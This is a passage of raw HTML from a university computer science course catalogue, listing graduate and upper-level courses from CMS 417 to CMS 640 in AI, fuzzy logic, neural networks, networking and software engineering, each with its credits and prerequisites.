style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 316&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course introduces\r\nstudents to the basic principles of artificial intelligence. Course covers\r\nproblem solving, search strategies, knowledge representation and reasoning and\r\nlearning methods of artificial intelligence. Natural language processing,\r\nexpert systems, computer vision and robotics will also be explored.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 417: Intelligent Information Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 316&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Data and knowledge\r\nrepresentation, queries processing, information retrieval. Fuzzy query\r\nprocessing. Intelligent Database Systems and Knowledge-based systems.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 420: Object-oriented Programming Languages (8 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 204, CMS 215</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introduction to\r\nobject-oriented programming languages. Programming with C++, Java.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 425: Soft Computing (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 204, CMS 316</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides\r\nan introduction to the basic concepts of Soft Computing methodology and covers\r\nthree main components : Fuzzy Logic, Neural Networks, and Evolutionary\r\nComputation. The course combines theoretical foundations with practical applications\r\nusing different tools and techniques.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 430: Software Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 420</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Structured\r\nprogramming, program specification, program proving, modularity, abstract data\r\ntypes, composite design, software tools, software control systems, program\r\ntesting, team programming.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 445: Information Systems Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 314</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Planning and\r\nestimation. Risk analysis and management. Specification Techniques. Process\r\nmodeling. Measurement and evaluation. Information systems development\r\nmethodologies. A comparative survey. Case Technology in information systems\r\ndevelopment.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 450: Web Design and Development (8 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 230, CMS 336</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Analysis, design,\r\nconstruction and implementation of Web based and client-server systems.\r\nClient-server and Web testing, client-server and Web technology architecture,\r\nsupport services, Web database application design and programming.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 470: Summer Practice (6&nbsp;<strong><em>ECTS</em></strong>  Credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Summer Practice gives\r\nstudents a chance to put their theoretical educations into practice in the real\r\nworld situations. Students observe the computer system and the software\r\ndeveloped and used in the leading IT industries in the country and&nbsp;gain\r\npractical skills.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 501: Artificial Intelligence Programming (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introduction to tools,\r\ntechniques, and issues in artificial intelligence programming. Functional\r\nprogramming for artificial intelligence applications. Review of LISP and\r\nintroduction to lexically scoped LISPs. Lambda calculus, closures, data-driven\r\nand object-oriented programming, flavors, d-nets, resolution-based deductive\r\nsystems. Techniques of logic programming. Artificial intelligence programming\r\nlanguages and artificial intelligence features.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 502: Intelligent Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Basic elements of\r\nIntelligent Systems (IS). Knowledge representation. Production rules, semantic\r\nnetworks, frames, logical models, scripts. IS design problem, design resources.\r\nIS design stages, identification, conceptualization, formation, design, testing\r\nand exploration. Program means and technical means for IS design. Expert system\r\nshells. Expert systems with VP-Expert.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 503: Expert Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 415, CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">The main structure and\r\nfunctions of expert systems. Knowledge acquisition and verification. Knowledge\r\nbase module. Fuzzy reasoning. Fuzzy expert systems. Confidence degree and its\r\nestimation in expert systems. Hybrid and distributed expert systems.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 505: Fuzzy Logic (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">In-depth study of\r\nfuzzy logic and fuzzy sets, their operations and related theorems. Application\r\nof these principles in practical areas such as pattern recognition, controllers\r\nand image processing.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 507: Decision Science Foundations (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 202, CMS 321</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Introduction to\r\nDecision Sciences. Exploratory Data Analysis. Multiple Regression Analysis.\r\nModels and Models Building. Decision Support Systems. Optimization Modeling:\r\nStatic workforce scheduling, Blending Models, Logistics Models, Aggregate\r\nPlanning Models, a dynamic Financial Model, Integer Programming Models,\r\nNonlinear Models. Simulation Models: Monte-Carlo Simulation, Spreadsheet\r\nsimulation, Risk Analysis, Decision-Making under uncertainty.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 510: Neural Networks (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 309, CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Ordinary and fuzzy\r\nneuron models. Forms of membership functions. Hierarchical neural networks.\r\nFeedforward and feedback network. Single-layer and multi-layer network. Fuzzy\r\nmin-max neural networks. Learning in fuzzy-sets neural networks.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 512: Pattern Recognition (6&nbsp;<strong><em>ECTS</em></strong>   credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 321, CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">The extraction\r\nfeatures from data and obtaining images. Classification images. Break on\r\nclusters. Decision function. Pattern classifiers. Perception algorithm.\r\nTraining set. Stochastic and adaptive learning algorithms for recognition.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 515: Distributed Intelligent Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 309, CMS 417</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Solving of global\r\nproblem depends on its local subtasks performing. Distributed Intelligent\r\nSystems<strong>&nbsp;(</strong>DIS) architecture: control network and hierarchical\r\nnetwork. Intelligent systems interaction organization in DIS: Direct connection\r\nand non-direct connection. Coordination of DIS.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 517: Hybrid Intelligent Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 415, CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Neuro-fuzzy\r\nidentification model of fuzzy systems. Neuro-fuzzy identifiers and controllers\r\nfor fuzzy systems. Fuzzy neural network approach to control systems. Direct\r\nfuzzification of neural network. A learning method of fuzzy inference rules\r\nwith neural networks.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 520: Advanced Topics in Internet Research (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 309, CMS 450</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Overview of Internet\r\ndevelopment history and fundamental principles underlying TCP/IP protocol design.\r\nDiscussion of current research topics, including multicast routing protocols,\r\nmulticast transport protocols (e.g., real-time, transport protocol, RTR, and\r\nSRM), support for integrated services. World Wide Web, multimedia applications\r\non Internet. Fundamental issues in network protocol design and implementations.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 521: Advanced Computer Networks (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 309, CMS 450</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Review of seven-layer\r\nISO-OSI model. High-speed networks: LANs, MANs, ATM. Flow and congestion\r\ncontrol; bandwidth allocation. Internetting.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 522: Network Programming (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 309, CMS 450</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Fundamentals of\r\ncomputer communications and OSI lower level protocols. Higher level protocols:\r\ntransport, session, presentation and application layers. Introduction to formal\r\ntechniques for protocol specification, verification and testing. The protocols\r\nIPX, SPX, TCP/IP, NetBEUI and usage them in application programs. Network\r\nprogramming in high-level languages. Remote procedure calls and it programming.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 524: Advanced Computer Architecture (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 308</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">An advanced treatment\r\nof computer architecture covering new technological developments, including\r\ndetails of multiprocessor systems and specialized machines. Special emphasis\r\nwill be devoted to new concepts such as data flow machines, higher level\r\nlanguage processor and associative processors.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 526: Knowledge Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 105, CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Basic Concepts and\r\ntechniques. Knowledge representation. Drawing inferences. Tools and languages\r\nfor expert systems. Knowledge engineering and expert systems development.\r\nKnowledge acquisition. Current expert system applications.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 530: Advanced Computer Graphics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 350</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Transformational\r\ngeometry, standard graphics systems. Splines and interpolation, visible surface\r\nalgorithms. Hidden surface models, rendering of various surface types. Shading\r\ntechniques.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 535: Multimedia Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 350, CMS 420</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Hardware and software\r\nof multimedia systems, graphics, audio, video, animation. General aspects of\r\nmultimedia systems components programming in high level languages; Animating\r\narticulated 3D models, procedural animation, particle systems, Fourier\r\nsynthesis of fractals, water waves, clouds turbulence, and flames, slide\r\npresentation, creating movie files. The international standards of multimedia\r\nsystems – Moving Pictures Expert Groups (MPEG-1 – MPEG-7). Using Macromedia\r\nFlash for creating AVI files.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 540: Pictorial and Multimedia Database Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 316, CMS 535</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Pictorial and\r\nmultimedia information system requirements. Data models and accessing;\r\nalternatives. Database systems. Visual languages and communication. Hypertext.\r\nDatabase design and organization, logical and physical design. Database\r\nheterogeneity and distribution. Other topics at discretion of instructor.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 543: Distributed Database Systems (6&nbsp;<strong><em>ECTS&nbsp;</em></strong>credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 316, CMS 540</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">File allocation,\r\nintelligent directory design, transaction management, deadlock, strong and weak\r\nconcurrency control, commit protocols, multi-database systems, fault recovery\r\ntechniques, network partitioning, examples, trade-off, and design experiences.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 545: Programming Languages (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Fundamental concepts\r\nunderlying all programming languages; semantic aspects, including binding\r\ntimes, visibility, retention, storage management, abstraction mechanisms and\r\nextensibility; operational and denotational semantic specifica­tions; and\r\ndesign and implementation issues, particularly for very high-level languages,\r\nincluding data representations, control regimes, code representations, and\r\nportability.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 548: Advanced Object-Oriented Programming Languages</em></strong><em>&nbsp;<strong>(6\r\n<strong><em>ECTS</em></strong>  credits)</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 420</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">The course focuses on\r\nobject-oriented programming concepts and design, algorithms, problem\r\nformulation, structured programming, variables, primitive and abstract data\r\ntypes, data structures, file I/O and string manipulation, sorting and\r\nsearching, control structures and standard algorithms, arrays, and recursion.\r\nThis course uses high-level block-structured and object-oriented programming\r\nlanguages.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 550: Advanced Software Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 420, CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Methods and tools for\r\nsoftware development, testing, and delivery. Emphasis on data abstraction and\r\nreusable components. Students working in teams implement a significant software\r\nproduct, including design documents, user’s guide, and process reports.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 555: Advanced Data Structures (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 215</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Advanced treatment of\r\nvarious data structures with applications to searching, image processing, and\r\ncomputational geometry, multi-dimensional data structures, dynamization of data\r\nstructures, spatial data structures, data structures in parallel and\r\ndistributed environments.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 560: Computer Methods of Data Analysis and Model Formation\r\n(6 <strong><em>ECTS</em></strong>&nbsp;credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 316</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Techniques of using\r\ncomputers to interpret, summarize, and form theories of empirical observations.\r\nMathematical analysis of trade-off between computational complexity, storage\r\nrequirements, and precision of computerized models.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 563: Digital Processing of Engineering and Statistical Data\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 321</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Computer methods for\r\nprocessing engineering and statistical data. Algorithms to evaluate recursive\r\nfilter functions, Fourier series, power spectral, analysis correlation\r\ncomputations, and statistical testing.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 570: Theory of Program Structure (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Models of computer\r\nprograms and their syntax and semantics; emphasis on programs and recursion\r\nschemes; equivalence, optimization, correctness, and translatability of\r\nprograms; expressive power of program constructs and data structures; selected\r\ncurrent topics.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 580: Software Engineering Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Methodologies and\r\ncomputer-based systems for the design and construction of assuredly-correct\r\nsystems of programs. Structured design; structured programming;\r\ncomputer-assisted software engineering. Theoretical foundations and current\r\nresearch.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 583: Principles of Computer-Aided Design Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 350, CMS 530</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Comprehensive\r\nintroduction to the field of computer-aided design systems. Theory and wide\r\nrange of applications.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;<em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 590: Special Topics in Computer Science (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Courses not listed in\r\nthe catalogue are given as Special Topics courses. Contents vary from year to\r\nyear according to interest of students and instructor in charge. Courses\r\ninclude various computer science topics.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 600: MS Thesis</em></strong><em>&nbsp;<strong>(6 <strong><em>ECTS</em></strong>  credits)</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Scientific-research\r\nwork. Individual investigation of the theme to be arranged with supervisor. The\r\nresults of the work should be presented in the form of thesis.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 610: Advanced Intelligent Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 415, CMS 502</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course is a\r\npractical course, which introduce students with a set of tools for analysis and\r\ndesign of Intelligent Systems. Intelligent Systems Development. Applied\r\nArtificial Intelligence Systems. Data Mining. Language understanding. Image\r\nunderstanding. Speech recognition. Intelligent agents.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 620: Modeling and Business Decision Analysis (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 507</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course covers\r\nmodeling techniques and analysis for making decision in business. Model\r\nbuilding. Decision structure. Decision making. Decision modeling. Types of\r\nDecision Models. Developing Decision Models.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 630: Advanced Neural Networks (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 425, CMS 510</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course is a\r\npractical course on Neural Networks. Architecture of Neural Networks. Neural\r\nNetworks Learning Algorithms. Supervised Learning. Reinforcement Learning.\r\nUnsupervised Learning. Back-Propagation Algorithm. Applications of Neural\r\nNetworks.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 635: Time Series Forecasting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 507</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course covers\r\ntime series models and includes practical examples on forecasting using time\r\nseries models. Time Series Components. Time Series Decomposition. Trend\r\nAnalysis. Least Squares Method. Seasonality Analysis.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;<em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 640: Fuzzy Logic and Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 425, CMS 505</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course is a\r\npractical&nbsp;course, which introduce students Fuzzy Logic and Systems.\r\nFuzzy Sets and Membership Functions. Fuzzy Numbers. Fuzzy Relation and\r\nComposition. Fuzzy Inference Systems. Applications of 